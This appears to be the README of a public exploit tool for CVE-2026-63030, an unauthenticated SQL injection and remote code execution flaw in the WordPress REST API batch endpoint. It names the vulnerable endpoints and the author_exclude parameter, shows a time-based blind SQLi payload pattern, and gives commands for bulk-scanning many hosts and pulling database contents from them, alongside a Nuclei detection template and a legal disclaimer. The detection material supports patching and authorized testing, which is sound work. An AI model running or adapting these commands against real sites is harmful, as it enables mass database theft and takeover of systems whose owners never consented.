## https://sploitus.com/exploit?id=1BE287ED-2D37-54AE-B8E7-515C18143FB2
# CVE-2026-63030 โ WordPress wp2shell Exploit
Unauthenticated detection and exploitation tool for the WordPress core
**batch-confusion** vulnerability (CVE-2026-63030 / CVE-2026-60137), which leads
to **SQL injection** and **remote code execution (RCE)** through the REST API
batch endpoint.
> โ ๏ธ **For authorized security testing and educational purposes only.** See the
> [Disclaimer](#disclaimer) below.
---
## Overview
Affected WordPress versions expose the REST API batch endpoint at:
- `POST /wp-json/batch/v1`, or
- `POST /?rest_route=/batch/v1` (fallback when pretty-permalinks / `wp-json` is disabled)
Through a *batch confusion* flaw, nested sub-requests inside a batch body are
processed without proper authorization, allowing an unauthenticated attacker to
inject SQL (e.g. via the `author_exclude` parameter) and ultimately achieve RCE.
This repository provides:
| File | Purpose |
|------|---------|
| `cve-2026-63030.py` | Python CLI โ version detection, batch-endpoint resolution, SLEEP-based blind SQLi confirmation, and `--query` data extraction. Supports bulk scanning, threads, and proxies. |
| `cve-2026-63030.yaml` | Nuclei template โ passive version check + active time-based SQLi detection across both endpoint variants. |
## Affected Versions
| Branch | Affected Range |
|--------|----------------|
| 6.8.x | 6.8.0 โ 6.8.5 |
| 6.9.x | 6.9.0 โ 6.9.4 |
| 7.0.x | 7.0.0 โ 7.0.1 |
Patched in **6.8.6**, **6.9.5**, and **7.0.2**.
## Requirements
- Python **3.8+**
- `requests`
- `beautifulsoup4`
```bash
pip install requests beautifulsoup4
```
## Usage
```bash
python3 cve-2026-63030.py [options]
```
### Options
| Flag | Description |
|------|-------------|
| `-u, --url URL` | Single target URL. |
| `-l, --list FILE` | File of target URLs (one per line; `#` comments allowed) for bulk scanning. |
| `-p, --proxy URL` | Route requests through a proxy (e.g. `http://127.0.0.1:8080`). |
| `-t, --threads N` | Concurrency for bulk mode (default `10`). |
| `-q, --query SQL` | SQL to exfiltrate via time-based blind injection, e.g. `"select @@version"`. |
| `--exploit` | Fire the SLEEP payload to confirm exploitation. |
| `--delay SEC` | SLEEP window for blind SQLi (default `2`). |
| `--timeout SEC` | Per-request timeout (default `10`). |
| `--silent` | Suppress the banner. |
`-u/--url` and `-l/--list` are mutually exclusive.
### Examples
```bash
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
```
### How it works
1. **Version detection** โ parses the `` tag and checks it
against the affected ranges.
2. **Endpoint resolution** โ tries `/wp-json/batch/v1` first, falling back to
`/?rest_route=/batch/v1` only if the first doesn't answer.
3. **Confirmation** โ `--exploit` sends a `SLEEP(n)` payload and verifies the
response actually stalls (`duration >= delay`).
4. **Extraction** โ `--query` exfiltrates a result one character at a time via
binary search (`IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)`).
## Nuclei Template
```bash
# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
```
The template probes both endpoint variants and confirms time-based SQLi via
`duration >= 5`, gated on an affected WordPress version.
## Disclaimer
This project is provided **strictly for educational purposes and authorized
security testing**. You may only use it against systems you own or for which you
have **explicit, written permission** to test (e.g. a penetration-test scope,
bug-bounty program, or CTF).
Unauthorized scanning or exploitation of systems you do not own or are not
authorized to test is **illegal** and may constitute a criminal offense under
computer-misuse laws (e.g. the CFAA in the US, the Computer Misuse Act in the UK,
and equivalent statutes elsewhere).
The authors and contributors assume **no liability** and accept **no
responsibility** for any damage, data loss, or legal consequences arising from
the use or misuse of this software. By using this tool you represent that your
use is lawful and that you assume all associated risk.
**When in doubt, do not run it.**
## References
- [WordPress Security Advisory โ GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q)
- [WordPress 7.0.2 Release Notes](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [WPScan](https://wpscan.com/)
- [SCLyber โ wp2shell research](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/)
## Author
`0xh7ml` โ provided as-is, for defensive research and education.